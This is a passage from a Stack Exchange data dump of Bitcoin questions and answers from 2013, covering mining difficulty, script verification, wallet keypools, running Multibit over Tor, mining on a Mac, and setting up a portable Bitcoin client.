  <row Id="8806" PostTypeId="1" AcceptedAnswerId="8811" CreationDate="2013-03-28T12:06:00.050" Score="28" ViewCount="16710" Body="&lt;p&gt;I don't understand what &quot;difficulty&quot; means and how it really relates to &quot;target&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand what &quot;target&quot; is - it tells the miners, how small the resulting hash should be. (Basically, how many zeroes are there at the beginning, altough not exactly.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't understand what &quot;difficulty&quot; is, how it relates to the target and why it's important. I tried to read the article on wiki - &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot;&gt;https://en.bitcoin.it/wiki/Difficulty&lt;/a&gt; - but I don't have a clue what is it trying to say either.&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2023-02-17T19:46:18.877" Title="What is &quot;difficulty&quot; and how it relates to &quot;target&quot;?" Tags="|difficulty|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8809" PostTypeId="2" ParentId="8779" CreationDate="2013-03-28T13:58:58.143" Score="2" Body="&lt;p&gt;Yes, market-based transaction fees can scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has already been proven by Western Union, bank wires, etc. The market for transferring money is huge and people are already picking which service to use based on fees, among other things. So it has been proven to scale to the size of the current world economy. And I don't see any reason why it won't keep scaling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether someone with hashpower majority can do bad things is a whole different issue. Can someone with hashpower majority orphan all other future blocks so that all future blocks are generated by them? Yes. Does that mean they can block your transactions from ever reaching the block chain or charge you horrible fees? Yes. A mining monopoly would be very bad for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another interesting issue is how Bitcoin can scale to become main stream. According to visa.com: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;VisaNet authorizes, clears and settles an average of 130 million&#xA;  transactions per day in 200 countries and territories.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can Bitcoin do that? See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2883/bitcoin-protocol-algorithm-scalability&quot;&gt;Bitcoin protocol / algorithm scalability&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But back to your question. The market aspect of transaction fees is not a scalability issue.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-03-28T13:58:58.143" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8811" PostTypeId="2" ParentId="8806" CreationDate="2013-03-28T14:38:48.090" Score="24" Body="&lt;p&gt;Difficulty is basically a different representation of the target to make it easier for normal humans to understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difficulty represents how difficult the current target makes it to find a block, relative to how difficult it would be at the highest possible target (highest target=lowest difficulty).  The current difficulty of 6,695,826 means that at a given hash rate, it will, on average, take ~6.6 million times as long to find a valid block as it would at a difficulty of 1, or alternatively, it will take, again on average, ~6.6 million times as many hashes to find a valid block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difficulty is the largest possible target (0x00000000FFFF0000000000000000000000000000000000000000000000000000) divided by the current target (as of right now, 0x00000000000002816E0000000000000000000000000000000000000000000000).&lt;/p&gt;&#xA;" OwnerUserId="3310" LastEditorUserId="3310" LastEditDate="2013-03-28T14:44:40.570" LastActivityDate="2013-03-28T14:44:40.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8812" PostTypeId="1" CreationDate="2013-03-28T15:59:06.110" Score="7" ViewCount="5112" Body="&lt;p&gt;3 weeks ago I began learning about Bitcoins, and now I'm analyzing how it works internally. My problem is that I can't understand what two public key hashes are compare to use de OP_EQUALVERIFY, because I understand that sender's public key is compare with receiver's public key, but they aren't the same hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&#xA;A script is: the scriptSig of your tx + the scriptPubkey of the tx you spent&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the same example:&#xA;The scriptSig of your tx is: Sig + your pubkey&#xA;The scriptPubkey of the tx you spent is (according to blockexplorer): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 fc88853163ab2a9646908a82e8a87b6f185c2047 OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ripemd160(sha256('0x0457d7d7af586aaad529b5770bb43295051e7090e2bc884181d608dae2517c7812b25e326753cbe0b767f579bbcb5cffe492d22b93f2ff5501074eb9e8f8547c4a'))  &#xA; = fc88853163ab2a9646908a82e8a87b6f185c2047...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I read that but I can't understand that the stack and scripts function. &#xA;The stack is empty. On the first step the Sender’s Signature and Public Key are combined. Then these two constants are added in the stack. Then the Public Key is duplicated. After that this duplicated item is hashed. Now the Receiver´s Public Key Hash is added to the stack. The script compares the equality between the two slack items and finally the signature is checked for two slack items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that correct? I think that i'm wrong with something.&#xA;If it is posible to someone answer or reply me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3660" LastEditorUserId="5406" LastEditDate="2022-12-08T19:14:37.563" LastActivityDate="2022-12-08T19:14:37.563" Title="How OP_EQUALVERIFY works in a standard transaction?" Tags="|script|transaction-input|p2pkh|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8813" PostTypeId="2" ParentId="8812" CreationDate="2013-03-28T16:05:48.197" Score="8" Body="&lt;p&gt;The script in the output is created first. Its form is typically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OP_DUP, OP_HASH160, &lt;strong&gt;pubKeyHash&lt;/strong&gt;, OP_EQUALVERIFY, OP_CHECKSIG&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;pubKeyHash&lt;/strong&gt; is the hash contained in the address being sent to. So it is the hash of the public key of the receiver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this receiver wants to spend this output, he must construct an input to claim it, and provide the actual public key that corresponded to his hash, and signature using it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;signature&lt;/strong&gt;, &lt;strong&gt;pubKey&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Twice, the same public key data is used. Once by the sender, stating the hash of the public key of the receiver, and when the receiver becomes a sender himself, he provides his full public key.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-03-28T16:05:48.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8814" PostTypeId="2" ParentId="8806" CreationDate="2013-03-28T16:15:30.273" Score="16" Body="&lt;p&gt;Difficulty is simply the ratio between the max target and the current target. It's easier to speak in terms of difficulty than in terms of the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The max target is defined as (2^16 - 1) * 2^208 or approximately 2^224. Since there are 2^256 different values a hash can take, a random hash has a chance of about 2^(-32) to be lower than the max target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It follows that if the difficulty is D, the target is (2^224 / D) and it takes on average 2^32 * D hashes to find a block.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2018-07-24T11:41:50.530" LastActivityDate="2018-07-24T11:41:50.530" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="8817" PostTypeId="2" ParentId="8804" CreationDate="2013-03-28T17:15:39.623" Score="5" Body="&lt;p&gt;By the pigeonhole principle yes, there could be two bitcoin addresses that are the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Pigeonhole Principle states, that if there are &lt;code&gt;N items&lt;/code&gt; for &lt;code&gt;M spots&lt;/code&gt; with &lt;code&gt;N &amp;gt; M&lt;/code&gt; then there must be at least 2 of the N items in one of the M spots. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Bitcoin this means we want/need but might never reach an infinite amount of addresses for an infinite amount of transactions. (but we can reuse addresses; I dont want to get into that) But each addresses is mapped into a space. The space is a certain size (however long addresses are). So by the principle above &lt;code&gt;N = number of transactions/needed addresses = trending to infinity&lt;/code&gt; (if bitcoin goes on forever) and &lt;code&gt;M = the size of the address space&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, fitting infinity into a finite space means, there would be two of the same addresses. But our finite space is so large that it will take us a long time to fill it up, and the possibility of filling a space of M twice is so small in this case, it's for all intents and purposes zero.&lt;/p&gt;&#xA;" OwnerUserId="2931" LastEditorUserId="5406" LastEditDate="2015-05-11T09:35:04.630" LastActivityDate="2015-05-11T09:35:04.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8818" PostTypeId="2" ParentId="8765" CreationDate="2013-03-28T17:22:16.980" Score="0" Body="&lt;p&gt;You'd better report the bug at &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues?state=open&quot; rel=&quot;nofollow&quot;&gt;the official repository&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-03-28T17:22:16.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8820" PostTypeId="1" CreationDate="2013-03-28T17:41:02.787" Score="-1" ViewCount="2406" Body="&lt;p&gt;I'm trying to get Multibit wallet set up on my new Tails USB. It's up and running, but isn't able to connect to the internet. It just says &quot;Connecting&quot; in red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message log says this -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.multibit.org/help_contents.html   Loading...&#xA;Unable to load &quot;http://www.multibit.org/help_contents.html&quot;. The error was &#xA;&quot;java.net.ConnectException Connection refused&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm guessing I need to configure something and perhaps launch Multibit from the command line rather than clicking the icon but I'm new to both Tails and Multibit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience or pointers as to what I need to enable? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3666" LastActivityDate="2013-03-28T19:10:17.677" Title="Running Multibit on Tails - connecting error" Tags="|privacy|multibit|" AnswerCount="1" CommentCount="1" ClosedDate="2013-04-11T13:32:54.280" ContentLicense="CC BY-SA 3.0" />
  <row Id="8821" PostTypeId="2" ParentId="8782" CreationDate="2013-03-28T17:52:26.347" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;A1B1: &lt;a href=&quot;https://bitcoinarmory.com/using-offline-wallets-in-armory/&quot; rel=&quot;nofollow&quot;&gt;Assuming you've prepared in advance, there are some nice offline wallet options.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A1B2: This one's tricky. I'm going to assume that you have access to a computer before running off into the woods, or what have you. I'm also going to assume that you know exactly the amount and address in advance.   &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Generate the transaction and sign it, but don't broadcast it (can be done with Bitcoin Armory)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Print out the transaction&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;When you want to make the transaction, mail the transaction to your agent.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;A2B?: Easiest one. Just write down your private key and describe the transaction.&lt;/li&gt;&#xA;&lt;li&gt;A3B?: Well, you're screwed, because the agent could just never make the transaction.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-28T17:52:26.347" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8822" PostTypeId="2" ParentId="8820" CreationDate="2013-03-28T19:10:17.677" Score="1" Body="&lt;p&gt;TAILS doesn't automagically run all traffic through tor.  Included programs are pre-configured to do so and it prevents anything not using tor from connecting out (hence your &quot;connection refused&quot; error), but you still need to configure anything you installed after the fact to use the tor proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into the settings in multibit and set it to connect through a socks4 proxy and point it at 127.0.0.1 port 9050.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2013-03-28T19:10:17.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8823" PostTypeId="1" AcceptedAnswerId="52096" CreationDate="2013-03-28T19:11:03.010" Score="10" ViewCount="30123" Body="&lt;p&gt;A block is generated every ten minutes. The reward changes periodically, and will &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5546/1409&quot;&gt;halve 32 more times&lt;/a&gt;. What is the approximately daily reward across the entire network?&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2019-10-25T18:54:36.300" Title="How many Bitcoin are mined per day?" Tags="|block|mining-reward|reward-schedule|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8824" PostTypeId="2" ParentId="8823" CreationDate="2013-03-28T19:17:40.270" Score="7" Body="&lt;p&gt;All times approximate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each block takes ten minutes, so there are six blocks per hour, 24 hours per day. The original block reward was 50 BTC. Thus, 7200 BTC per day introduced to the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I contrived this script to model the decline, including the year the halving is expected to occur: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ruby -e 'reward = 7200.0; halving = 0; while halving &amp;lt; 33 do puts &quot;Halving &quot;+halving.to_s + &quot; (&quot; + (2008 + 4 * halving).to_s + &quot;) : %2.8f&quot;%reward; reward = reward / 2; halving += 1; end'&#xA;&#xA;Start (2009) : 7200.00000000 #start&#xA;Halving 1 (2012) : 3600.00000000 #Halving was November 2012&#xA;Halving 2 (2016) : 1800.00000000&#xA;Halving 3 (2020) : 900.00000000&#xA;Halving 4 (2024) : 450.00000000&#xA;Halving 5 (2028) : 225.00000000&#xA;Halving 6 (2032) : 112.50000000&#xA;Halving 7 (2036) : 56.25000000&#xA;Halving 8 (2040) : 28.12500000&#xA;Halving 9 (2044) : 14.06250000&#xA;Halving 10 (2048) : 7.03125000&#xA;Halving 11 (2052) : 3.51562500&#xA;Halving 12 (2056) : 1.75781250&#xA;Halving 13 (2060) : 0.87890625&#xA;Halving 14 (2064) : 0.43945312&#xA;Halving 15 (2068) : 0.21972656&#xA;Halving 16 (2072) : 0.10986328&#xA;Halving 17 (2076) : 0.05493164&#xA;Halving 18 (2080) : 0.02746582&#xA;Halving 19 (2084) : 0.01373291&#xA;Halving 20 (2088) : 0.00686646&#xA;Halving 21 (2092) : 0.00343323&#xA;Halving 22 (2096) : 0.00171661&#xA;Halving 23 (2100) : 0.00085831&#xA;Halving 24 (2104) : 0.00042915&#xA;Halving 25 (2108) : 0.00021458&#xA;Halving 26 (2112) : 0.00010729&#xA;Halving 27 (2116) : 0.00005364&#xA;Halving 28 (2120) : 0.00002682&#xA;Halving 29 (2124) : 0.00001341&#xA;Halving 30 (2128) : 0.00000671&#xA;Halving 31 (2132) : 0.00000335&#xA;Halving 32 (2136) : 0.00000168&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I did modify the output a little to make it easier to understand without complicating my script)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2013-07-18T02:19:24.397" LastActivityDate="2013-07-18T02:19:24.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8825" PostTypeId="1" AcceptedAnswerId="8827" CreationDate="2013-03-28T19:39:38.090" Score="2" ViewCount="722" Body="&lt;p&gt;&lt;em&gt;Considering the Bitcoin client for Windows 0.8.1:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the best way (if I have already used up 100 keys) is to send bitcoins to different wallet and then to newly generated one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I want new keys, can I just delete old wallet from default location and WILL BE THE NEW ONE GENERATED AUTOMATICALY when turning on the client? &lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2013-06-26T18:43:45.733" Title="Wallet.dat can contain only 100 private keys even if I back up?" Tags="|bitcoin-core|backup|keypool|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8826" PostTypeId="2" ParentId="8825" CreationDate="2013-03-28T19:51:55.393" Score="6" Body="&lt;p&gt;Run the client with the parameter &lt;code&gt;-keypool=10000&lt;/code&gt; to generate 10000 keys in your keypool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros: Less backing up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cons: Your wallet will be bigger (file size) and take maybe a few seconds extra to load&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-03-28T19:51:55.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8827" PostTypeId="2" ParentId="8825" CreationDate="2013-03-28T19:55:13.283" Score="5" Body="&lt;p&gt;A wallet (by default) always contains 100 &lt;strong&gt;unused&lt;/strong&gt; keys. Every time the client needs a new key (for a new address, for sending change to, or - in theory - for solo mining payouts), it takes the oldest address from the pool, and creates a fresh one to add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This just means you need to backup every 100 transactions. No need to switch to a new wallet.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-03-28T19:55:13.283" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8828" PostTypeId="1" AcceptedAnswerId="8834" CreationDate="2013-03-28T20:03:06.083" Score="1" ViewCount="314" Body="&lt;p&gt;I'm completely new to Bitcoin but finding it all very interesting so far! My Bitcoin-qt wallet has been synchronising for literally days now (2 days actually) but it is getting closer, on 91% now. My question is, if I was to buy a Bitcoin from MtGox or somewhere, would I have to wait for the synchronisation to complete before I could see my coins? My transfer would have to be confirmed on the block chain through mining and would be the latest on the chain meaning I'd have to wait until it came through right? Would you wait it out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="3628" LastActivityDate="2013-03-29T00:30:38.410" Title="Synchronising with network" Tags="|transactions|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8829" PostTypeId="1" CreationDate="2013-03-28T20:08:15.787" Score="8" ViewCount="15618" Body="&lt;p&gt;Has anyone successfully set up a miner on Mac OSX? What are the most recent mining clients that will work on my 2011 MacBook Pro? I've tried DiabloMiner and poclbm but can't seem to get them running. I'd rather have a command line client if possible. Also, on what basis should I choose a mining pool? Can anyone recommend any and why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Snow Leopard and have most programming technologies installed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies for being a n00b, this is all new to me!&lt;/p&gt;&#xA;" OwnerUserId="3628" LastEditorUserId="18196" LastEditDate="2016-03-18T19:53:34.937" LastActivityDate="2017-08-17T10:46:16.747" Title="Mining on Mac OSX" Tags="|mining-pools|mac|mining-software|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8830" PostTypeId="2" ParentId="8829" CreationDate="2013-03-28T20:29:56.697" Score="1" Body="&lt;p&gt;I recommend &lt;a href=&quot;http://bitminter.com&quot; rel=&quot;nofollow&quot;&gt;bitminter&lt;/a&gt;, their software is based on java, I've used it for more than 1 year now.&lt;/p&gt;&#xA;" OwnerUserId="3670" LastEditorUserId="2306" LastEditDate="2013-03-28T21:22:30.470" LastActivityDate="2013-03-28T21:22:30.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8831" PostTypeId="1" AcceptedAnswerId="8833" CreationDate="2013-03-28T20:45:57.280" Score="5" ViewCount="585" Body="&lt;p&gt;When looking at external API-driven charts of Mt Gox trades, there is a &quot;Trading engine lag&quot; shown, which shows the backlog of orders queued and waiting-to-be-executed, relative to the present time:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lVPFN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For example, see &lt;a href=&quot;http://bitcoinity.org/markets&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoinity.org/markets&lt;/a&gt;, and &lt;a href=&quot;http://bitcoin.clarkmoody.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoin.clarkmoody.com/&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the &quot;engine lag&quot; time calculated?&lt;/p&gt;&#xA;" OwnerUserId="2960" LastActivityDate="2013-03-29T00:42:39.920" Title="How is &quot;engine lag&quot; on Mt Gox calculated?" Tags="|trading|mtgox|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8832" PostTypeId="2" ParentId="8829" CreationDate="2013-03-28T22:04:39.703" Score="-2" Body="&lt;p&gt;I recommend DiabloMiner, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3281/official-diablominer-app&quot;&gt;and there is an .app for it&lt;/a&gt;. It is Java-based.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, note that it is &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5608/when-is-gpu-mining-considered-not-profitable&quot;&gt;highly unlikely that your mining will be profitable&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-03-28T22:04:39.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8833" PostTypeId="2" ParentId="8831" CreationDate="2013-03-28T23:00:20.283" Score="6" Body="&lt;p&gt;It is the difference between current timestamp and the submission timestamp of the oldest order submitted, which has not yet been processed by the order book.&lt;/p&gt;&#xA;" OwnerUserId="3675" LastActivityDate="2013-03-28T23:00:20.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8834" PostTypeId="2" ParentId="8828" CreationDate="2013-03-29T00:30:38.410" Score="1" Body="&lt;p&gt;If you were to purchase bitcoin and send it to an address in your wallet, then yes, &lt;strong&gt;you would have to wait until your wallet synchronized in order to spend the bitcoins&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the meantime, &lt;strong&gt;consider spending it directly from your exchange account&lt;/strong&gt;, especially if you're going to buy bitcoin and spend it right away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, &lt;strong&gt;consider using an online wallet&lt;/strong&gt;. I recommend &lt;a href=&quot;http://Blockchain.info&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt; or &lt;a href=&quot;http://instawallet.org&quot; rel=&quot;nofollow&quot;&gt;InstaWallet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-29T00:30:38.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8835" PostTypeId="2" ParentId="8831" CreationDate="2013-03-29T00:42:39.920" Score="5" Body="&lt;p&gt;From the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#Order_lag&quot;&gt;Mt. Gox API Documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Order lag&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;code&gt;&lt;a href=&quot;https://data.mtgox.com/api/1/generic/order/lag&quot;&gt;https://data.mtgox.com/api/1/generic/order/lag&lt;/a&gt;&lt;/code&gt;&lt;br&gt;&#xA;  The &quot;lag&quot; value is the age in microseconds of the oldest order pending execution. If it's too large, it means the engine is busy, and the depth is probably not reliable&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3292" LastActivityDate="2013-03-29T00:42:39.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8836" PostTypeId="2" ParentId="8798" CreationDate="2013-03-29T00:45:33.310" Score="1" Body="&lt;p&gt;I'm speculating here, because I'm not going to test anything out.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/IOPS&quot; rel=&quot;nofollow&quot;&gt;IOPS&lt;/a&gt; would like shoot through the roof. The potentially large amount of writes and reads will likely affect disk life, especially if the disk is an &lt;a href=&quot;https://en.wikipedia.org/wiki/Solid-state_drive&quot; rel=&quot;nofollow&quot;&gt;SSD&lt;/a&gt;. It would generate excess heat. A magnetic disk would also generate constant vibration. Heat can be controlled easier than GPU or CPU heat because there's less of it, and vibration can be dampened using rubber mounts. &lt;strong&gt;The largest risk is simply drive failure due to above average activity.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;The GPU would likely be idle. The CPU would only be necessary to drive the hardware operations.&lt;/li&gt;&#xA;&lt;li&gt;I think it may be difficult to get a 3 TB drive for that new gaming rig, because all of the miners would be trying to pack as much disk space into a device as possible. &lt;/li&gt;&#xA;&lt;li&gt;I don't know enough about the manufacturing process to hypothesize accurately. &lt;/li&gt;&#xA;&lt;li&gt;I could see a lot of need for drive recycling. HDDs burn out a lot quicker and take up a lot more waste weight than CPUs and GPUs.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What's interesting about the proof-of-storage-space concept is that it can really take advantage of unused space on consumer devices. I know I've got a 500 GB hard drive in my work computer that has never seen more than 50 GB on it. Amalgamate that across a corporate network, and there's probably PB of space available! I could see malicious types taking advantage of this in malware pretty easily, too: high CPU or GPU usage causes lots of heat and terrible performance, while high HDD usage can just make a program take a few seconds longer to start up.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-29T00:45:33.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8837" PostTypeId="1" CreationDate="2013-03-29T01:12:02.567" Score="6" ViewCount="6609" Body="&lt;p&gt;I work in an office with lots of computers, and I am on a different workstation every day. Is there a bitcoin client I can keep on a FireWire/USB drive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-Qt on Mac leaves all the files in the home directory - the block chain, the wallet, etc. Someone else is going to be using this computer tomorrow! I want to keep all those files, and even the application itself, on a portable drive.&lt;/p&gt;&#xA;" OwnerUserId="3667" LastEditorUserId="1405" LastEditDate="2014-08-30T19:54:23.750" LastActivityDate="2014-12-15T16:57:32.217" Title="How to make Bitcoin-Qt or other client run off of a flash drive (Mac)" Tags="|client|portable|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8838" PostTypeId="1" CreationDate="2013-03-29T01:12:14.910" Score="3" ViewCount="572" Body="&lt;p&gt;The title pretty much says it all? Is there a security advantage to owning physical bitcoins such as those offered by Casascius? If so is it significant enough to justify the price difference between electronic and physical bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="3679" LastActivityDate="2013-03-29T02:58:00.347" Title="Is there any advantage to owning physical bitcoins?" Tags="|physical-coins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8839" PostTypeId="2" ParentId="8838" CreationDate="2013-03-29T01:27:08.110" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;a good Bitcoin conversation starter prop&lt;/li&gt;&#xA;&lt;li&gt;look pretty (Casascius holograms) ;-)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3680" LastActivityDate="2013-03-29T01:27:08.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8840" PostTypeId="2" ParentId="8837" CreationDate="2013-03-29T02:16:35.680" Score="7" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=18870.0&quot; rel=&quot;noreferrer&quot;&gt;Somebody posted a portable client&lt;/a&gt;, but I don't trust them, so I'll show you how to make your own.&lt;/p&gt;&#xA;&lt;h2&gt;Windows guide&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the windows .zip from &lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;noreferrer&quot;&gt;bitcoin.org&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unpack it. Go into that directory.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a file called &lt;code&gt;launch.txt&lt;/code&gt;&lt;br /&gt;&#xA;Put this in it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; start bitcoin-qt.exe -datadir=data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rename it to &lt;code&gt;launch.bat&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a folder called &lt;code&gt;data&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;It should look like &lt;a href=&quot;https://i.stack.imgur.com/Gv5UM.jpg&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt;. Double-click &lt;code&gt;launch.bat&lt;/code&gt; to start it. If files show up in the data folder you made, then you've done things 